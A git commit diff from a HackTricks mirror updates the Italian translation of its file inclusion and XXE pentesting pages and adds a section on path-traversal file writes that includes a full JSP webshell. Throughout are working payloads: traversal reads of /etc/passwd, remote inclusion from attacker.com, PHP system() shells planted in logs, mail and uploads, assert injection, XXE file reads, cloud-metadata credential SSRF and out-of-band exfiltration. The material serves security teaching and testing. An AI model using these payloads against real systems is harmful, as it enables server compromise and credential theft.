mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti
This commit is contained in:
Translator
parent
6e6c817db8
commit
f85c1906f8
@ -49,7 +49,7 @@ Controlla la lista LFI di linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
|
||||
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (pagina=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
|
||||
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (pagina=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -90,7 +90,7 @@ Il file system di un server può essere esplorato ricorsivamente per identificar
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi naviga di nuovo a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
2. **Esplora le Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -110,8 +110,8 @@ Il troncamento del percorso è un metodo impiegato per manipolare i percorsi dei
|
||||
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file target.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file a cui si accede.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||
|
||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
```
|
||||
@ -148,12 +148,12 @@ In php questo è disabilitato per impostazione predefinita perché **`allow_url_
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
> [!TIP]
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
|
||||
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
||||
```
|
||||
@ -171,7 +171,7 @@ Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso prec
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
È il comportamento previsto secondo [la documentazione](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
|
||||
|
||||
@ -213,7 +213,7 @@ Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a v
|
||||
|
||||
### php://filter
|
||||
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
I filtri PHP consentono di eseguire operazioni di **modifica di base sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -229,7 +229,7 @@ I filtri PHP consentono di eseguire **operazioni di modifica sui dati** prima ch
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per far sì che una funzione come include elabori testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include in grado di elaborare testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
|
||||
@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> La parte "php://filter" è case insensitive
|
||||
> La parte "php://filter" non fa distinzione tra maiuscole e minuscole
|
||||
|
||||
### Utilizzare i filtri php come oracolo per leggere file arbitrari
|
||||
|
||||
@ -285,9 +285,9 @@ Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ec
|
||||
- Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivottare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continua a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
|
||||
Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Nel post è stata anche esfiltrata un'utility per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -374,11 +374,11 @@ phar-deserialization.md
|
||||
Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
|
||||
|
||||
### Altri protocolli
|
||||
### More protocols
|
||||
|
||||
Controlla altri possibili [**protocolli da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Controlla più possibili [**protocollo da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
|
||||
@ -387,7 +387,7 @@ Controlla altri possibili [**protocolli da includere qui**](https://www.php.net/
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
|
||||
|
||||
## LFI tramite 'assert' di PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si tratta della funzione 'assert', che può eseguire codice all'interno delle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di traversamento delle directory come ".." viene controllato ma non correttamente sanificato.
|
||||
|
||||
@ -395,7 +395,7 @@ Ad esempio, il codice PHP potrebbe essere progettato per prevenire il traversame
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
|
||||
Sebbene questo miri a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -403,18 +403,18 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
È importante **URL-encode questi payload**.
|
||||
È importante **URL-encoded questi payload**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non viene mostrato.
|
||||
> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non è mostrato.
|
||||
|
||||
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
|
||||
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite un filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
|
||||
|
||||
In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**.
|
||||
|
||||
Poi, per rivelare il primo carattere, il filtro **`dechunk`** viene utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**.
|
||||
Poi, per rivelare il primo carattere, il filtro **`dechunk`** è utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** sono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**.
|
||||
|
||||
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo target in sola lettura con questo)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -422,20 +422,66 @@ Per i dettagli tecnici controlla il post menzionato!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Remote File Inclusion
|
||||
### Scrittura di file arbitrari tramite Path Traversal (Webshell RCE)
|
||||
|
||||
Spiegato precedentemente, [**segui questo link**](#remote-file-inclusion).
|
||||
Quando il codice lato server che ingesta/carica file costruisce il percorso di destinazione utilizzando dati controllati dall'utente (ad es., un nome di file o URL) senza canonizzarlo e validarlo, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura di file arbitraria. Se puoi posizionare il payload sotto una directory esposta al web, di solito ottieni RCE non autenticato lasciando cadere una webshell.
|
||||
|
||||
### Via file di log Apache/Nginx
|
||||
Flusso di sfruttamento tipico:
|
||||
- Identificare una primitiva di scrittura in un endpoint o in un worker in background che accetta un percorso/nome di file e scrive contenuto su disco (ad es., ingestione basata su messaggi, gestori di comandi XML/JSON, estrattori ZIP, ecc.).
|
||||
- Determinare le directory esposte al web. Esempi comuni:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → lascia cadere `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → lascia cadere `shell.aspx`
|
||||
- Creare un percorso di traversale che esca dalla directory di archiviazione prevista nella root del web e includere il contenuto della tua webshell.
|
||||
- Navigare verso il payload lasciato cadere ed eseguire comandi.
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file.
|
||||
Note:
|
||||
- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non HTTP (ad es., un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà successivamente il tuo payload.
|
||||
- Sugli stack Java, queste scritture di file sono spesso implementate con una semplice concatenazione di `File`/`Paths`. La mancanza di canonizzazione/lista di autorizzazione è il difetto principale.
|
||||
|
||||
Esempio generico in stile XML/JMF (gli schemi dei prodotti variano – il wrapper DOCTYPE/body è irrilevante per la traversale):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
<Command Type="SubmitQueueEntry">
|
||||
<!-- Write outside the intake folder into the webroot via traversal -->
|
||||
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
|
||||
<Data>
|
||||
<![CDATA[
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String c = request.getParameter("cmd");
|
||||
if (c != null) {
|
||||
Process p = Runtime.getRuntime().exec(c);
|
||||
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
|
||||
in.transferTo(out);
|
||||
}
|
||||
}
|
||||
%>
|
||||
]]>
|
||||
</Data>
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Indurimento che sconfigge questa classe di bug:
|
||||
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory di base autorizzata.
|
||||
- Rifiutare qualsiasi percorso contenente `..`, radici assolute o lettere di unità; preferire nomi di file generati.
|
||||
- Eseguire lo scrittore come un account a bassa privilegio e segregare le directory di scrittura dalle radici servite.
|
||||
|
||||
## Inclusione di File Remoti
|
||||
|
||||
Spiegato in precedenza, [**segui questo link**](#remote-file-inclusion).
|
||||
|
||||
### Tramite file di log Apache/Nginx
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
||||
>
|
||||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
|
||||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
|
||||
|
||||
Questo potrebbe essere fatto anche in altri log ma **fai attenzione**, il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
||||
Questo potrebbe essere fatto anche in altri log, ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
||||
Altri possibili percorsi di log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -452,7 +498,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
@ -468,13 +514,13 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi caricare un file, basta iniettare il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||
|
||||
### Via upload di file Zip
|
||||
### Via caricamento di file Zip
|
||||
|
||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||
```python
|
||||
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuti arbitrari** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
|
||||
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -537,7 +583,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||||
Se hai trovato un **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP, potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -553,7 +599,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere RCE:
|
||||
Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -603,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
|
||||
|
||||
**Non so quanto sia utile, ma potrebbe esserlo.**\
|
||||
_Anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
|
||||
_Anche se causi un errore fatale di PHP, i file temporanei caricati vengono eliminati._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -611,6 +657,8 @@ _Anche se causate un errore fatale di PHP, i file temporanei caricati vengono el
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## Fondamenti di XML
|
||||
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag con nomi descrittivi. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
|
||||
- **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
|
||||
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
|
||||
- **Definizione del Tipo di Documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
|
||||
- **Entità Personalizzate ed Esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Rilevamento XXE con Entità Parametriche**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
|
||||
@ -43,7 +43,7 @@ In questo primo caso nota che SYSTEM "_**file:///**etc/passwd_" funzionerà anch
|
||||
```
|
||||
.png>)
|
||||
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (non il caso dei laboratori di Portswigger)
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -65,17 +65,17 @@ In questo terzo caso, nota che stiamo dichiarando l'`Element stockCheck` come AN
|
||||
|
||||
### Elenco delle directory
|
||||
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (richiedendo solo la directory invece del file):
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (chiedendo solo la directory invece del file):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
|
||||
|
||||
<!-- /etc/ -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud.
|
||||
Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -83,7 +83,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -91,7 +91,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrare dati out-of-band
|
||||
|
||||
**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
